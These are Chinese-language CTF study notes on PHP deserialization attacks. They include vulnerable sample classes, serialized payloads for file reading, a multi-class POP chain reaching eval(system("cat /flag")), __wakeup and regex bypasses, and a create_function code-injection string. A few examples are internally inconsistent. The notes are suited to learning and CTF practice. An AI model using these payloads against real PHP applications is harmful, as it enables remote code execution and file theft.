一,序列化基础知识类
基础反序列化
魔术函数
:即调用一些函数时,可直接自动调用这些函数
常见的序列化类型
__construct() // 当一个对象创建时被调用,
__destruct() // 当一个对象销毁时被调用,
__toString() // 当一个对象被当作一个字符串被调用。
__wakeup() // 使用unserialize()会检查是否存在__wakeup()方法,如果存在则会先调用,预先准备对象需要的资源
__sleep() // 使用serialize()会检查是否存在__wakeup()方法,如果存在则会先调用,预先准备对象需要的资源
__destruct() // 对象被销毁时触发
__call() // 在对象上下文中调用不可访问的方法时触发
__callStatic() // 在静态上下文中调用不可访问的方法时触发
__get() // 用于从不可访问的属性读取数据
__set() // 用于将数据写入不可访问的属性
__isset() // 在不可访问的属性上调用isset()或empty()触发
__unset() // 在不可访问的属性上使用unset()时触发
__toString() // 把类当作字符串使用时触发,返回值需要为字符串
__invoke() // 当脚本尝试将对象调用为函数时触发
链调用实际理解
<?php
# 设置一个类A
class A{
private $name = "V0W";
function __construct()
{
echo "__construct() call\n";
}
function __destruct()
{
echo "\n__destruct() call\n";
}
function __toString()
{
return "__toString() call\n";
}
function __sleep()
{
echo "__sleep() call\n";
return array("name");
}
function __wakeup()
{
echo "__wakeup() call\n";
}
function __get($a)
{
echo "__get() call\n";
return $this->name;
}
function __set($property, $value)
{ echo "\n__set() call\n";
$this->$property = $value;
}
function __invoke()
{
echo "__invoke() call\n";
}
}
//调用 __construct()
$a = new A();
//调用 __toSting()
echo $a;
//调用 __sleep()
$b = serialize($a);
echo $b;
//调用 __wakeup()
$c = unserialize($b);
echo $c;
//不存在这个bbbb属性,调用 __get()
echo $a->bbbb;
//name是私有变量,不允许修改,调用 __set()
$a->name = "pro";
echo $a->name;
//将对象作为函数,调用 __invoke()
$a();
//程序结束,调用 __destruct() (会调用两次__destruct,因为中间有一次反序列化)
序列化类漏洞可利用条件
1.参数可变–>即参数可以手动进行更改类
2.有可利用函数
如这里存在的测试代码test.php
?php
class FileClass
{
public $filename = 'error.log';
public function __toString()
{
# 读取文件函数
return file_get_contents($this->filename);
}
}
class User
{
public $name = '';
public $age = 0;
public $addr = '';
public function __toString()
{
return '用户名: '.$this->name.'<br> 年龄: '.$this->age.'<br/>地址: '.$this->addr;
}
}
# 参数可控
$obj = unserialize($_POST['usr_serialized']);
echo $obj;
?>
因此构造–>即手动更改参数即可获得
O:9:"FileClass":1:{s:8:"filename";s:8:"test.php";}
#即更改test.php改成test.txt即可读取其他的内容
O:9:"FileClass":1:{s:8:"filename";s:8:"test.txt";}
含义-->O表示是一个对象,9代表的是一个对象的长度,FileClass代遍序列化对象名称,2表示对象中存在1个属性-->string。第一个属性s是字符串,8表示属性名的长度,filename表示属性的名字。
或者
<?php
class lemon {
protected $ClassObj;
function __construct() {$this->ClassObj = new normal();}
function __destruct()
{
$this->ClassObj->action();
}
}
class normal {
function action() {echo "hello";}
}
class evil {
private $data;
function action()
{
eval($this->data);
}
}
$flag = new lemon();
$str = serialize($flag);
echo $str;
?>
构造分析过程
因为进去首先到的是__construct函数中,然后调用的本来是Object的函数,但是为了执行绕过
可以改为
序列化过程分析
<?php
class xiaohua
{
function __construct(){
print "In construct <br>";
$this->name="my xiaohua";
}
function __destruct(){
print "Destruct<br>" .$this->name."\n";
}
}
$obj=new xiaohua();
?>
#执行结果:-->即先执行构造函数构造完后就执行析构函数
In construct
Destruct
my xiaohua
<?php
class xiaohua{
function huahua(){
$this->name="huahua";
print $this->name;
}
function __wakeup(){
echo "wakeup <br>";
}
function __sleep(){
echo "<br> sleep <br>";
return array('name');
}
}
$sst='O:7:"xiaohua":2:{s:3:"str";s:7:"xiaohua";s:4:"str2";s:6:"huahua";} ';
var_dump($sst);
$xiaohua1=new xiaohua;
$xiaohua1->name="bobo";
$sr=serialize($xiaohua1);
print $sr;
?>
#执行结果:
wakeup
object(xiaohua)#1 (2) { ["str"]=> string(7) "xiaohua" ["str2"]=> string(6) "huahua" }
sleep
O:7:"xiaohua":1:{s:4:"name";s:4:"bobo";}
#即执行过程-->反序列化后,会自动调用__wakeup函数,输出wakeup。序列化对象后,会自动调用__sleep函数输出sleep
即执行过程先构造构造完后按顺序执行函数,最后执行析构函数
特殊的tips
1.protected和private属性反序列化后编码存在不可打印字符绕过思路
原理:protected/private类型的属性序列化后产生不可打印字符,public类型则不会。
如果是在php7.1版本以上的
对传入的属性要求不高 因此可以把protected或者private的属性改成public进而绕过这些特殊字符
2.利用urlencode()去绕过
然后直接传输编码的字符就可以绕了
二.序列化典型三类题型
类型1.)直接序列化类类
即直接serialize(需要的内容)–>
如
即可反序列化参数
<?php
error_reporting(0);
class Pop{
public $shana;
public $cmd;
public function __construct(){
echo "welcome to unserialize of web<br/>";
}
public function __destruct(){
if($this->shana === 'yyds')
@eval($this->cmd);
}
}
if(isset($_GET['shana']))
@unserialize($_GET['shana']);
else
$p = new Pop();
highlight_file(__FILE__);
$a=new Pop();
$a->shana='yyds';
#$a->cmd=system('ls');错误格式
$a->cmd='system("cat /flag");';#正确格式即执行命令正确的格式为'system(“cat /flag”);'即包含这个命令执行状况理解
#’‘跟是否需要加与是否在类里面相关
echo serialize($a);
?>
得到–>O:4:“Flag”:1:{s:4:“file”;s:8:“flag.php”;}–>传给password即可
如果传入后不进行unserialize()-->即直接传echo(unserialize('O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}'))
2.)直接构造序列化类
典型结合弱比较进行考核
3.)直接定义变量进行代参数类
#如上面的题型
#代构造代码
<?php
class Pop{
public $shana='yyds';
public $cmd='system("cat /flag");';
}
$p=new Pop();
echo serialize($p);
?>
三,常见序列化网站与序列化的格式`
1)序列化网站
http://www.ecjson.com/unserialize/
https://www.toolnb.com/dev/runCode/243e11a40a13ca67d0f13d10dadfdd48.html
http://3br.net/unserialize.html
2)格式
即Pop–>类
shana–>变量名(且需要相互对应相互的变量值类)
O:3:"Pop":2:{s:5:"shana";s:4:"yyds";s:3:"cmd";s:6:"ls ../";}
四,序列化典型绕过类
1.)绕过_wakeup()
导致原因:php的版本导致
绕过方法
将参数的个数改成超过现有的参数个数即可
如
#最初的
O:8:"CMDClass":1:{s:3:"cmd";s:2:"ls";}
#代绕进行构造的
O:8:"CMDClass":2:{s:3:"cmd";s:2:"ls";}
2.)绕正则表达式
如
<?php
@error_reporting(1);
include 'flag.php';
echo $_GET['data'];
class baby
{
public $file;
function __toString()
{
if(isset($this->file))
{
$filename = "./{$this->file}";
if (file_get_contents($filename))
{
return file_get_contents($filename);
}
}
}
}
if (isset($_GET['data']))
{
$data = $_GET['data'];
preg_match('/[oc]:\d+:/i',$data,$matches);#即
if(count($matches))
{
die('Hacker!');
}
else
{
$good = unserialize($data);
echo $good;
}
}
else
{
highlight_file("./test4.php");
}
?>
#无法读取类
O:4:"baby":1:{s:4:"file";s:9:"index.php";}
#可绕过类
O:+4:"baby":1:{s:4:"file";s:9:"index.php";}#即将+改成%2b即可绕
五,典型序列化的题型
序列化典型题目1
序列化题目2
序列化联合命令ping语句考法
题型
<?
if (isset($_POST['un']) && isset($_GET['x'])){
class allstart
{
public $var1;
public $var2;
public function __destruct()
{
$this->var1->test1();
}
}
class func1
{
public $var1;
public $var2;
public function test1()
{
$this->var1->test2();
}
}
class func2
{
public $var1;
public $var2;
public function __call($test2,$arr)
{
$s1 = $this->var1;
$s1();
}
}
class func3
{
public $var1;
public $var2;
public function __invoke()
{
$this->var2 = "concat string".$this->var1;
}
}
class func4
{
public $str1;
public $str2;
public function __toString()
{
$this->str1->get_flag();
return "1";
}
}
class toget
{
public $todo;
public function get_flag()
{
eval($this->todo);
}
}
unserialize($_POST['un']);
}
?>
解法
#原理
#我们传入一个un然后进行反序列化。我们最终的目标是toget类里面的eval命令执行。为了调用 get_flag(),要先调用func4类里的 __toString(),然后在func3类中有一个字符串拼接,可以触发__toString()方法,在func2类中把var1当作函数执行可以触发func3里的__invoke(),func1中调用了一个test2()不存在的方法可以触发func2里的__call(),最终被allstart类中的__destruct()调用。
<?php
class allstart{
public $var1;
public $var2;
}
class func1{
public $var1;
public $var2;
}
class func2{
public $var1;
public $var2;
}
class func3{
public $var1;
public $var2;
}
class func4{
public $str1;
public $str2;
}
class toget{
public $todo;
}
$p1 = new allstart();
$p2 = new func1();
$p1->var1 = $p2;
$p3 = new func2();
$p2->var1 = $p3;
$p4 = new func3();
$p3->var1 = $p4;
$p5 = new func4();
$p4->var1 = $p5;
$p6 = new toget();
$p5->str1 = $p6;
$p6->todo = 'system("cat /flag")';
echo(serialize($p1))
?>
典型的经典create_function 的格式执行
解决方法
<?php
class func
{
public $mod1;
public $mod2;
public $key;
}
class GetFlag
{ public $code="1;}eval(\$_GET[1]);/*";
public $action='create_function';
public function get_flag(){
$a=$this->action;
$a('', $this->code);
}
}
$o=new func();
$o1=new GetFlag();
$o->key=serialize(array($o1,"get_flag"));
echo(urlencode(serialize($o)));
实战案例
有趣的php反序列化总结
网鼎杯的还行
几个注意点
专题
①对于反序列化的时候 php会把private和protected变量会引入不可见字符\x00,这些字符对应的ascii码为0
因此如果有字符串限定判断的话 需要去更改控制代。
绕过思路 将%00转为\00 将s->S,即可将ascii码变为大写类的类型的
②如果不知道绝对路径,可以利用不完整的序列化可以使析构函数提前执行 进而绕过绝对路径
PHP SESSION反序列化
ini_set(‘session.serialize_handler’, ‘php_serialize’);
ini_set(‘session.serialize_handler’, ‘php’);
#PHP在反序列化存储的$_SESSION数据时使用的引擎和序列化使用的引擎不一样,会导致数据无法正确第反序列化
原理:session的反序列化的方式两种不同导致绕过,对于php的模式情况下 如果是精心构造的序列化包的情况下,他可能只取了一部分进行实体化,进而达到利用效果。